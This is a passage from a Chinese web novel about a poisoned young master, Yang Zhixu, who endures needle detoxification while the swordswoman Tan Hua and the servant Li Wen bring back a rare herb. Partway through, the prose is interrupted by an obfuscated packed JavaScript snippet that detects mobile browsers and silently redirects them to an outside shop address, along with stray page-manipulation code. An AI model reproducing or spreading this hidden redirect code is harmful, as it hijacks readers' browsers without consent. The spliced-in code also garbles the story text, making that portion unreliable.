这毒有一个恰如其分的名字,叫“苦牢”,乃兽楼所创。兽楼是宫中的一个机构,由唐烷这个老毒物设立,主要是收集各地异兽,给皇帝取乐。皇帝很喜欢与猛兽搏斗,但他又不喜欢受伤,兽楼就研究出了这种毒药,同样的药量,用在猛兽身上,还能留其一分搏命的力,有控制又不失刺激,但用在人的身上,九死无生。 杨知煦是唯一一个中了苦牢还活下来的人,只能说他命够大,春杏堂手段够硬。 杨知煦止了血,又拿出银针,叹了口气。 近年来他染上头疼的毛病,父母只道是毒素的遗症,其实不是,是他生生给自己扎出来的。 他走出屋子,前往正堂,饭菜都凉了,管家正吩咐人重新热。他来得有些晚了,但所有人都没动筷,都在等他。他们向他投来关切又担心的目光,杨知煦像以往所有时候那样,笑着赔罪,状若无碍。 同时,医馆的后院偏房内。 檀华沐浴过后,打包行囊,只简单带了一身衣裳一双鞋,其他的兵器食物,徐庆远说他那边都有准备。走前,她把那一堆草药包端正地放到床上,然后关门离去。 安静的夜,星河万里。 月下有快马,疾驰出城。 也有慢车,停在府邸。 管家将春杏堂的长老和几个小药童请到府内。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205657|197324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月落日升。 马喝完了水,人吃完了饼,继续赶路。 长老屏退众人,封锁了内院,杨知煦与长老讨论引毒前,还逗了一会可爱的小药童。 他们几乎是一口气与徐胄汇合,得知截道的是一伙山贼,现在躲在深处不好寻。檀华说,她来找。 杨知煦这次沐浴,要靠药童搀扶才能起身,他看着窗外明月,等着药童将他千疮百孔的身体擦干。桌面上摆着几十根金针,金针比银针粗上许多,最大的一根,简直像根锥子一样。杨知煦让药童们通知长老他要走针了,一炷香后可以进来引毒。 杨知煦并不愿意看这些针,他仍看着明月,将一块干净的手巾拧起,咬入口中。 徐庆远一路跟着檀华,他或许有心想学些什么,但一无所获,檀华一句话都没有说,只在两日后,叫镖局所有人在一座山前集合,说,在这里,有几个隐蔽的入口已经找到了。徐庆远说太好了,那快些进去吧。 檀华说进去后东躲西藏,又要几日,来不及了,准备烧山,他们会带着值钱玩意逃出来的。 徐庆远问那要是没带呢?万一给烧坏了呢? 檀华说那就算你们倒霉,要赔钱,算他们命惨,要陪葬。 度日如年。 整座杨府的人都不知道过去多久了。 檀华往回赶的时候,遇到了刚刚离开景顺的杂戏团,她让徐庆远带着药先走,她等下追上来。 那一个晚上,李文从外面冲过来,被看守的护院拦下。 “让开!让开!我有东西要给长老!快滚开!”他几招放倒了护院,冲进内院,一个药童站在门口,“不能进!” 李文管不了那么多了,拨开他闯了进去。 屋里有浓浓的药味,李文看向塌上,杨知煦□□侧躺在床上,身体明显僵直,他不知出过多少冷汗,像水捞的一样,一个药童在拿手巾给他擦身,长老坐在塌旁,将他后背上粗长的金针拔出,另一个药童拿帕子去接,流出的是紫黑色的血。杨知煦的眼睛睁得很大,李文从来没见过他这样的表情,像是一缕惊恐的,不定的游魂,这还是他的公子吗? “谁让你进来的?”长老斥道,“出去!” 李文慌忙把药包递上,“是迷驼丁,找回来了,还、还来得及吗?” “……迷驼丁?”长老总算看来一眼,“快给我。” 李文把药递过去,忽然想起什么,用从怀里翻出一样东西,放到杨知煦手里,颤声道:“公子,药是那姑娘找回来的,这个也是她让我给你带的。” 长老怒道:“不许碰他!” 李文讨饶:“好好好,我这就滚,这就滚!” 擦身的药童偷看他手中物,是一个小木雕,雕得好像是……一匹马? 李文往外走,这时,他好像听到了什么,一声呜咽,还是一声呻吟。他回头看,感觉杨知煦在看自己的手,他好像想要做什么。不待他想明白,已经被药童赶出屋了。 走了三两步,李文忽然停下。 不对,公子明明就是想做什么,自己跟在他身边这么久了,这点事都想不明白吗? 他猛地给自己一嘴巴,冲回屋内,长老见他又回来了,勃然大怒,李文顾不得了,连滚带爬到床边,把杨知煦使不上劲的僵直的手指掰弯,让他如愿握住那小木雕。 药童使劲在后面扯他,李文不知觉间已经哭得一把鼻涕一把泪,被踹出门前他喊着:“……公子!姑娘说那怪马就长这样,但这其实不是马,等下次见面她告诉你这究竟是什么!”